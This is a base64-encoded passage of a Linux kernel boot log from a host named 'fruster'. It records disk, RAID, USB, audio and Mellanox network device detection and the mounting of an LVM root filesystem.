OiAwIEFOU0k6IDUKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiB1c2IgMi0xOiBOZXcg VVNCIGRldmljZSBmb3VuZCwgaWRWZW5kb3I9ODA4NywgaWRQcm9kdWN0PTAwMjQKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiB1c2IgMi0xOiBOZXcgVVNCIGRldmljZSBzdHJpbmdzOiBN ZnI9MCwgUHJvZHVjdD0wLCBTZXJpYWxOdW1iZXI9MApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBr ZXJuZWw6IHVzYiAyLTE6IGNvbmZpZ3VyYXRpb24gIzEgY2hvc2VuIGZyb20gMSBjaG9pY2UKRGVj ICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBodWIgMi0xOjEuMDogVVNCIGh1YiBmb3VuZApE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGh1YiAyLTE6MS4wOiA4IHBvcnRzIGRldGVj dGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2NzaSAwOjA6MTY6MDogRGlyZWN0 LUFjY2VzcyAgICAgQVRBICAgICAgV0RDIFdEMjAwMkZBRVgtMCAxRDA1IFBROiAwIEFOU0k6IDUK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzY3NpIDA6MDoxNzowOiBEaXJlY3QtQWNj ZXNzICAgICBBVEEgICAgICBXREMgV0QyMDAyRkFFWC0wIDFEMDUgUFE6IDAgQU5TSTogNQpEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2kgMDowOjE4OjA6IERpcmVjdC1BY2Nlc3Mg ICAgIEFUQSAgICAgIFdEQyBXRDIwMDJGQUVYLTAgMUQwNSBQUTogMCBBTlNJOiA1CkRlYyAgNCAx ODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2NzaSAwOjA6MTk6MDogRGlyZWN0LUFjY2VzcyAgICAg QVRBICAgICAgV0RDIFdEMjAwMkZBRVgtMCAxRDA1IFBROiAwIEFOU0k6IDUKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBSZWZpbmVkIFRTQyBjbG9ja3NvdXJjZSBjYWxpYnJhdGlvbjog MzI5Mi41MjAgTUh6LgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IFN3aXRjaGluZyB0 byBjbG9ja3NvdXJjZSB0c2MKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzY3NpIDA6 MDoyMDowOiBEaXJlY3QtQWNjZXNzICAgICBBVEEgICAgICBXREMgV0QyMDAyRkFFWC0wIDFEMDUg UFE6IDAgQU5TSTogNQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2kgMDowOjIx OjA6IERpcmVjdC1BY2Nlc3MgICAgIEFUQSAgICAgIFdEQyBXRDIwMDJGQUVYLTAgMUQwNSBQUTog MCBBTlNJOiA1CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2NzaSAwOjA6MjI6MDog RGlyZWN0LUFjY2VzcyAgICAgQVRBICAgICAgV0RDIFdEMjAwMkZBRVgtMCAxRDA1IFBROiAwIEFO U0k6IDUKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzY3NpIDA6MDoyMzowOiBEaXJl Y3QtQWNjZXNzICAgICBBVEEgICAgICBXREMgV0QyMDAyRkFFWC0wIDFEMDUgUFE6IDAgQU5TSTog NQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2kgMDowOjI0OjA6IERpcmVjdC1B Y2Nlc3MgICAgIEFUQSAgICAgIFdEQyBXRDIwMDJGQUVYLTAgMUQwNSBQUTogMCBBTlNJOiA1CkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogdXNiIDEtMS4xOiBuZXcgaGlnaCBzcGVlZCBV U0IgZGV2aWNlIG51bWJlciAzIHVzaW5nIGVoY2lfaGNkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogc2NzaSAwOjI6MDowOiBEaXJlY3QtQWNjZXNzICAgICBMU0kgICAgICBNUjkyNjAt NGkgICAgICAgIDIuMTMgUFE6IDAgQU5TSTogNQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IGFoY2kgMDAwMDowMDoxZi4yOiBQQ0kgSU5UIEIgLT4gR1NJIDE5IChsZXZlbCwgbG93KSAt PiBJUlEgMTkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBhaGNpIDAwMDA6MDA6MWYu MjogQUhDSSAwMDAxLjAzMDAgMzIgc2xvdHMgNiBwb3J0cyA2IEdicHMgMHgxIGltcGwgU0FUQSBt b2RlCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogYWhjaSAwMDAwOjAwOjFmLjI6IGZs YWdzOiA2NGJpdCBuY3EgbGVkIGNsbyBwaW8gc2x1bSBwYXJ0IGVtcyBhcHN0IApEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2kxIDogYWhjaQpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHNjc2kyIDogYWhjaQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNj c2kzIDogYWhjaQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2k0IDogYWhjaQpE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2k1IDogYWhjaQpEZWMgIDQgMTg6MTU6 MjggZnJ1c3RlciBrZXJuZWw6IHNjc2k2IDogYWhjaQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBr ZXJuZWw6IGF0YTE6IFNBVEEgbWF4IFVETUEvMTMzIGFiYXIgbTIwNDhAMHhmMDcxNjAwMCBwb3J0 IDB4ZjA3MTYxMDAgaXJxIDM1CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogYXRhMjog RFVNTVkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBhdGEzOiBEVU1NWQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGF0YTQ6IERVTU1ZCkRlYyAgNCAxODoxNToyOCBmcnVz dGVyIGtlcm5lbDogYXRhNTogRFVNTVkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBh dGE2OiBEVU1NWQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYiAxLTEuMTogTmV3 IFVTQiBkZXZpY2UgZm91bmQsIGlkVmVuZG9yPTEwNTgsIGlkUHJvZHVjdD0xMDIxCkRlYyAgNCAx ODoxNToyOCBmcnVzdGVyIGtlcm5lbDogdXNiIDEtMS4xOiBOZXcgVVNCIGRldmljZSBzdHJpbmdz OiBNZnI9MSwgUHJvZHVjdD0yLCBTZXJpYWxOdW1iZXI9MwpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHVzYiAxLTEuMTogUHJvZHVjdDogRXh0IEhERCAxMDIxCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogdXNiIDEtMS4xOiBNYW51ZmFjdHVyZXI6IFdlc3Rlcm4gRGlnaXRh bApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYiAxLTEuMTogU2VyaWFsTnVtYmVy OiA1NzRENDE1NjU1MzMzOTMyMzAzMTM0MzQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiB1c2IgMS0xLjE6IGNvbmZpZ3VyYXRpb24gIzEgY2hvc2VuIGZyb20gMSBjaG9pY2UKRGVjICA0 IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBhdGExOiBTQVRBIGxpbmsgdXAgNi4wIEdicHMgKFNT dGF0dXMgMTMzIFNDb250cm9sIDMwMCkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBh dGExLjAwOiBBQ1BJIF9TREQgZmFpbGVkIChBRSAweDUpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogYXRhMTogU0FUQSBsaW5rIHVwIDYuMCBHYnBzIChTU3RhdHVzIDEzMyBTQ29udHJv bCAzMDApCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogYXRhMS4wMDogQUNQSSBfU0RE IGZhaWxlZCAoQUUgMHg1KQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGF0YTEuMDA6 IEFDUEk6IGZhaWxlZCB0aGUgc2Vjb25kIHRpbWUsIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogYXRhMS4wMDogQVRBLTg6IE9DWi1BR0lMSVRZMywgMi4yMiwgbWF4IFVE TUEvMTMzCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogYXRhMS4wMDogMTc1ODM2NTI4 IHNlY3RvcnMsIG11bHRpIDE2OiBMQkE0OCBOQ1EgKGRlcHRoIDMxLzMyKSwgQUEKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBhdGExLjAwOiBjb25maWd1cmVkIGZvciBVRE1BLzEzMwpE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNjc2kgMTowOjA6MDogRGlyZWN0LUFjY2Vz cyAgICAgQVRBICAgICAgT0NaLUFHSUxJVFkzICAgICAyLjIyIFBROiAwIEFOU0k6IDUKRGVjICA0 IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzZCAxOjA6MDowOiBbc2RiXSAxNzU4MzY1MjggNTEy LWJ5dGUgbG9naWNhbCBibG9ja3M6ICg5MC4wIEdCLzgzLjggR2lCKQpEZWMgIDQgMTg6MTU6Mjgg ZnJ1c3RlciBrZXJuZWw6IHNkIDA6MjowOjA6IFtzZGFdIDU0NjgzMjM4NDAwIDUxMi1ieXRlIGxv Z2ljYWwgYmxvY2tzOiAoMjcuOSBUQi8yNS40IFRpQikKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBzZCAxOjA6MDowOiBbc2RiXSBXcml0ZSBQcm90ZWN0IGlzIG9mZgpEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNkIDE6MDowOjA6IFtzZGJdIFdyaXRlIGNhY2hlOiBlbmFi bGVkLCByZWFkIGNhY2hlOiBlbmFibGVkLCBkb2Vzbid0IHN1cHBvcnQgRFBPIG9yIEZVQQpEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNkIDA6MjowOjA6IFtzZGFdIFdyaXRlIFByb3Rl Y3QgaXMgb2ZmCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2QgMDoyOjA6MDogW3Nk YV0gV3JpdGUgY2FjaGU6IGVuYWJsZWQsIHJlYWQgY2FjaGU6IGVuYWJsZWQsIGRvZXNuJ3Qgc3Vw cG9ydCBEUE8gb3IgRlVBCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2RiOgpEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNkYTogc2RiMSBzZGIyCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogc2QgMTowOjA6MDogW3NkYl0gQXR0YWNoZWQgU0NTSSBkaXNrCkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2RhMQpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHNkIDA6MjowOjA6IFtzZGFdIEF0dGFjaGVkIFNDU0kgZGlzawpEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IGZpcmV3aXJlX29oY2kgMDAwMDowODowMy4wOiBQQ0kgSU5U IEEgLT4gR1NJIDE5IChsZXZlbCwgbG93KSAtPiBJUlEgMTkKRGVjICA0IDE4OjE1OjI4IGZydXN0 ZXIga2VybmVsOiBmaXJld2lyZV9vaGNpOiBBZGRlZCBmdy1vaGNpIGRldmljZSAwMDAwOjA4OjAz LjAsIE9IQ0kgdmVyc2lvbiAxLjEwCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogSW5p dGlhbGl6aW5nIFVTQiBNYXNzIFN0b3JhZ2UgZHJpdmVyLi4uCkRlYyAgNCAxODoxNToyOCBmcnVz dGVyIGtlcm5lbDogc2NzaTcgOiBTQ1NJIGVtdWxhdGlvbiBmb3IgVVNCIE1hc3MgU3RvcmFnZSBk ZXZpY2VzCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogdXNiY29yZTogcmVnaXN0ZXJl ZCBuZXcgaW50ZXJmYWNlIGRyaXZlciB1c2Itc3RvcmFnZQpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IFVTQiBNYXNzIFN0b3JhZ2Ugc3VwcG9ydCByZWdpc3RlcmVkLgpEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IGRyYWN1dDogU2Nhbm5pbmcgZGV2aWNlcyBzZGIyICBmb3Ig TFZNIGxvZ2ljYWwgdm9sdW1lcyB2Z19mcnVzdGVyL2x2X3Jvb3QgdmdfZnJ1c3Rlci9sdl9zd2Fw IApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGRyYWN1dDogaW5hY3RpdmUgJy9kZXYv dmdfZnJ1c3Rlci9sdl9yb290JyBbNTIuMTAgR2lCXSBpbmhlcml0CkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogZHJhY3V0OiBpbmFjdGl2ZSAnL2Rldi92Z19mcnVzdGVyL2x2X3N3YXAn IFszMS4yNSBHaUJdIGluaGVyaXQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBFWFQ0 LWZzIChkbS0wKTogbW91bnRlZCBmaWxlc3lzdGVtIHdpdGggb3JkZXJlZCBkYXRhIG1vZGUuIE9w dHM6IApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGRyYWN1dDogTW91bnRlZCByb290 IGZpbGVzeXN0ZW0gL2Rldi9tYXBwZXIvdmdfZnJ1c3Rlci1sdl9yb290CkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogU0VMaW51eDogIERpc2FibGVkIGF0IHJ1bnRpbWUuCkRlYyAgNCAx ODoxNToyOCBmcnVzdGVyIGtlcm5lbDogdHlwZT0xNDA0IGF1ZGl0KDEzODYyMDk2NjIuMjgwOjIp OiBzZWxpbnV4PTAgYXVpZD00Mjk0OTY3Mjk1IHNlcz00Mjk0OTY3Mjk1CkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogZHJhY3V0OiAKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiBkcmFjdXQ6IFN3aXRjaGluZyByb290CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog cmVhZGFoZWFkLWNvbGxlY3Rvcjogc3RhcnRpbmcKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiB1ZGV2OiBzdGFydGluZyB2ZXJzaW9uIDE0NwpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBr ZXJuZWw6IGZpcmV3aXJlX2NvcmU6IGNyZWF0ZWQgZGV2aWNlIGZ3MDogR1VJRCAwMDFlOGMwMDAw NTg1YzllLCBTNDAwCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc25kX2hkYV9pbnRl bCAwMDAwOjAwOjFiLjA6IFBDSSBJTlQgQSAtPiBHU0kgMjIgKGxldmVsLCBsb3cpIC0+IElSUSAy MgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlucHV0OiBIREEgSW50ZWwgUENIIExp bmUgYXMgL2RldmljZXMvcGNpMDAwMDowMC8wMDAwOjAwOjFiLjAvc291bmQvY2FyZDAvaW5wdXQ0 CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogaW5wdXQ6IEhEQSBJbnRlbCBQQ0ggRnJv bnQgTWljIGFzIC9kZXZpY2VzL3BjaTAwMDA6MDAvMDAwMDowMDoxYi4wL3NvdW5kL2NhcmQwL2lu cHV0NQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlucHV0OiBIREEgSW50ZWwgUENI IFJlYXIgTWljIGFzIC9kZXZpY2VzL3BjaTAwMDA6MDAvMDAwMDowMDoxYi4wL3NvdW5kL2NhcmQw L2lucHV0NgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlucHV0OiBIREEgSW50ZWwg UENIIEZyb250IEhlYWRwaG9uZSBhcyAvZGV2aWNlcy9wY2kwMDAwOjAwLzAwMDA6MDA6MWIuMC9z b3VuZC9jYXJkMC9pbnB1dDcKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBpbnB1dDog SERBIEludGVsIFBDSCBMaW5lIE91dCBTaWRlIGFzIC9kZXZpY2VzL3BjaTAwMDA6MDAvMDAwMDow MDoxYi4wL3NvdW5kL2NhcmQwL2lucHV0OApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IGlucHV0OiBIREEgSW50ZWwgUENIIExpbmUgT3V0IENMRkUgYXMgL2RldmljZXMvcGNpMDAwMDow MC8wMDAwOjAwOjFiLjAvc291bmQvY2FyZDAvaW5wdXQ5CkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogaW5wdXQ6IEhEQSBJbnRlbCBQQ0ggTGluZSBPdXQgU3Vycm91bmQgYXMgL2Rldmlj ZXMvcGNpMDAwMDowMC8wMDAwOjAwOjFiLjAvc291bmQvY2FyZDAvaW5wdXQxMApEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlucHV0OiBIREEgSW50ZWwgUENIIExpbmUgT3V0IEZyb250 IGFzIC9kZXZpY2VzL3BjaTAwMDA6MDAvMDAwMDowMDoxYi4wL3NvdW5kL2NhcmQwL2lucHV0MTEK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzbmRfaGRhX2ludGVsIDAwMDA6MDE6MDAu MTogUENJIElOVCBCIC0+IEdTSSAxNyAobGV2ZWwsIGxvdykgLT4gSVJRIDE3CkRlYyAgNCAxODox NToyOCBmcnVzdGVyIGtlcm5lbDogaW5wdXQ6IEhELUF1ZGlvIEdlbmVyaWMgSERNSS9EUCxwY209 MyBhcyAvZGV2aWNlcy9wY2kwMDAwOjAwLzAwMDA6MDA6MDEuMC8wMDAwOjAxOjAwLjEvc291bmQv Y2FyZDEvaW5wdXQxMgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNlcyAwOjA6MTU6 MDogQXR0YWNoZWQgRW5jbG9zdXJlIGRldmljZQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IHNlcyAwOjA6MTU6MDogQXR0YWNoZWQgc2NzaSBnZW5lcmljIHNnMCB0eXBlIDEzCkRlYyAg NCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2QgMDoyOjA6MDogQXR0YWNoZWQgc2NzaSBnZW5l cmljIHNnMSB0eXBlIDAKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzZCAxOjA6MDow OiBBdHRhY2hlZCBzY3NpIGdlbmVyaWMgc2cyIHR5cGUgMApEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IG1seDRfY29yZTogTWVsbGFub3ggQ29ubmVjdFggY29yZSBkcml2ZXIgdjEuMC1t bG54X29mZWQxLjUuMyAoTm92ZW1iZXIgMywgMjAxMSkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBtbHg0X2NvcmU6IEluaXRpYWxpemluZyAwMDAwOjAzOjAwLjAKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBtbHg0X2NvcmUgMDAwMDowMzowMC4wOiBQQ0kgSU5UIEEgLT4g R1NJIDE5IChsZXZlbCwgbG93KSAtPiBJUlEgMTkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiBzY3NpIDc6MDowOjA6IERpcmVjdC1BY2Nlc3MgICAgIFdEICAgICAgIEV4dCBIREQgMTAy MSAgICAgMjAwMiBQUTogMCBBTlNJOiA0CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog c2QgNzowOjA6MDogQXR0YWNoZWQgc2NzaSBnZW5lcmljIHNnMyB0eXBlIDAKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBzZCA3OjA6MDowOiBbc2RjXSAyOTMwMjcyMjU2IDUxMi1ieXRl IGxvZ2ljYWwgYmxvY2tzOiAoMS41MCBUQi8xLjM2IFRpQikKRGVjICA0IDE4OjE1OjI4IGZydXN0 ZXIga2VybmVsOiBzZCA3OjA6MDowOiBbc2RjXSBUZXN0IFdQIGZhaWxlZCwgYXNzdW1lIFdyaXRl IEVuYWJsZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzZCA3OjA6MDowOiBbc2Rj XSBBc3N1bWluZyBkcml2ZSBjYWNoZTogd3JpdGUgdGhyb3VnaApEZWMgIDQgMTg6MTU6MjggZnJ1 c3RlciBrZXJuZWw6IHNkIDc6MDowOjA6IFtzZGNdIFRlc3QgV1AgZmFpbGVkLCBhc3N1bWUgV3Jp dGUgRW5hYmxlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHNkIDc6MDowOjA6IFtz ZGNdIEFzc3VtaW5nIGRyaXZlIGNhY2hlOiB3cml0ZSB0aHJvdWdoCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogc2RjOiBzZGMxCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog c2QgNzowOjA6MDogW3NkY10gVGVzdCBXUCBmYWlsZWQsIGFzc3VtZSBXcml0ZSBFbmFibGVkCkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2QgNzowOjA6MDogW3NkY10gQXNzdW1pbmcg ZHJpdmUgY2FjaGU6IHdyaXRlIHRocm91Z2gKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiBzZCA3OjA6MDowOiBbc2RjXSBBdHRhY2hlZCBTQ1NJIGRpc2sKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBtbHg0X2NvcmUgMDAwMDowMzowMC4wOiBjb21tYW5kIDB4MzQgZmFpbGVk OiBmdyBzdGF0dXMgPSAweDIKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBtbHg0X2Nv cmUgMDAwMDowMzowMC4wOiBGYWlsZWQgdG8gcXVyZXkgbXVsdGkvc2luZ2xlIGZ1bmN0aW9uIG1v ZGU6IC0xCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogbWx4NF9jb3JlIDAwMDA6MDM6 MDAuMDogY29tbWFuZCAweDM0IGZhaWxlZDogZncgc3RhdHVzID0gMHgyCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogbWx4NF9jb3JlIDAwMDA6MDM6MDAuMDogZmFpbGVkIHRvIHJldHJp ZXZlIGNscCB2ZXJzaW9uIDogLTEKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBtbHg0 X2VuOiBNZWxsYW5veCBDb25uZWN0WCBIQ0EgRXRoZXJuZXQgZHJpdmVyIHYxLjUuOC4zIChKdW5l IDIwMTIpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogbWx4NF9lbiAwMDAwOjAzOjAw LjA6IFVEUCBSU1MgaXMgbm90IHN1cHBvcnRlZCBvbiB0aGlzIGRldmljZS4KRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiB4aGNpX2hjZCAwMDAwOjAwOjE0LjA6IFBDSSBJTlQgQSAtPiBH U0kgMTYgKGxldmVsLCBsb3cpIC0+IElSUSAxNgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IHhoY2lfaGNkIDAwMDA6MDA6MTQuMDogeEhDSSBIb3N0IENvbnRyb2xsZXIKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiB4aGNpX2hjZCAwMDAwOjAwOjE0LjA6IG5ldyBVU0IgYnVz IHJlZ2lzdGVyZWQsIGFzc2lnbmVkIGJ1cyBudW1iZXIgMwpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHhoY2lfaGNkIDAwMDA6MDA6MTQuMDogaXJxIDE2LCBpbyBtZW0gMHhmMDcwMDAw MApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYiB1c2IzOiBOZXcgVVNCIGRldmlj ZSBmb3VuZCwgaWRWZW5kb3I9MWQ2YiwgaWRQcm9kdWN0PTAwMDIKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiB1c2IgdXNiMzogTmV3IFVTQiBkZXZpY2Ugc3RyaW5nczogTWZyPTMsIFBy b2R1Y3Q9MiwgU2VyaWFsTnVtYmVyPTEKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiB1 c2IgdXNiMzogUHJvZHVjdDogeEhDSSBIb3N0IENvbnRyb2xsZXIKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiB1c2IgdXNiMzogTWFudWZhY3R1cmVyOiBMaW51eCAyLjYuMzItMzU4LjIz LjIuZWw2Lng4Nl82NCB4aGNpX2hjZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVz YiB1c2IzOiBTZXJpYWxOdW1iZXI6IDAwMDA6MDA6MTQuMApEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHVzYiB1c2IzOiBjb25maWd1cmF0aW9uICMxIGNob3NlbiBmcm9tIDEgY2hvaWNl CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogaHViIDMtMDoxLjA6IFVTQiBodWIgZm91 bmQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBodWIgMy0wOjEuMDogNCBwb3J0cyBk ZXRlY3RlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHhoY2lfaGNkIDAwMDA6MDA6 MTQuMDogeEhDSSBIb3N0IENvbnRyb2xsZXIKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiB4aGNpX2hjZCAwMDAwOjAwOjE0LjA6IG5ldyBVU0IgYnVzIHJlZ2lzdGVyZWQsIGFzc2lnbmVk IGJ1cyBudW1iZXIgNApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYiB1c2I0OiBj b25maWcgMSBpbnRlcmZhY2UgMCBhbHRzZXR0aW5nIDAgZW5kcG9pbnQgMHg4MSBoYXMgbm8gU3Vw ZXJTcGVlZCBjb21wYW5pb24gZGVzY3JpcHRvcgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IHVzYiB1c2I0OiBOZXcgVVNCIGRldmljZSBmb3VuZCwgaWRWZW5kb3I9MWQ2YiwgaWRQcm9k dWN0PTAwMDMKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiB1c2IgdXNiNDogTmV3IFVT QiBkZXZpY2Ugc3RyaW5nczogTWZyPTMsIFByb2R1Y3Q9MiwgU2VyaWFsTnVtYmVyPTEKRGVjICA0 IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiB1c2IgdXNiNDogUHJvZHVjdDogeEhDSSBIb3N0IENv bnRyb2xsZXIKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiB1c2IgdXNiNDogTWFudWZh Y3R1cmVyOiBMaW51eCAyLjYuMzItMzU4LjIzLjIuZWw2Lng4Nl82NCB4aGNpX2hjZApEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYiB1c2I0OiBTZXJpYWxOdW1iZXI6IDAwMDA6MDA6 MTQuMApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYiB1c2I0OiBjb25maWd1cmF0 aW9uICMxIGNob3NlbiBmcm9tIDEgY2hvaWNlCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogaHViIDQtMDoxLjA6IFVTQiBodWIgZm91bmQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiBodWIgNC0wOjEuMDogNCBwb3J0cyBkZXRlY3RlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHhoY2lfaGNkIDAwMDA6MDU6MDAuMDogUENJIElOVCBBIC0+IEdTSSAxNiAobGV2 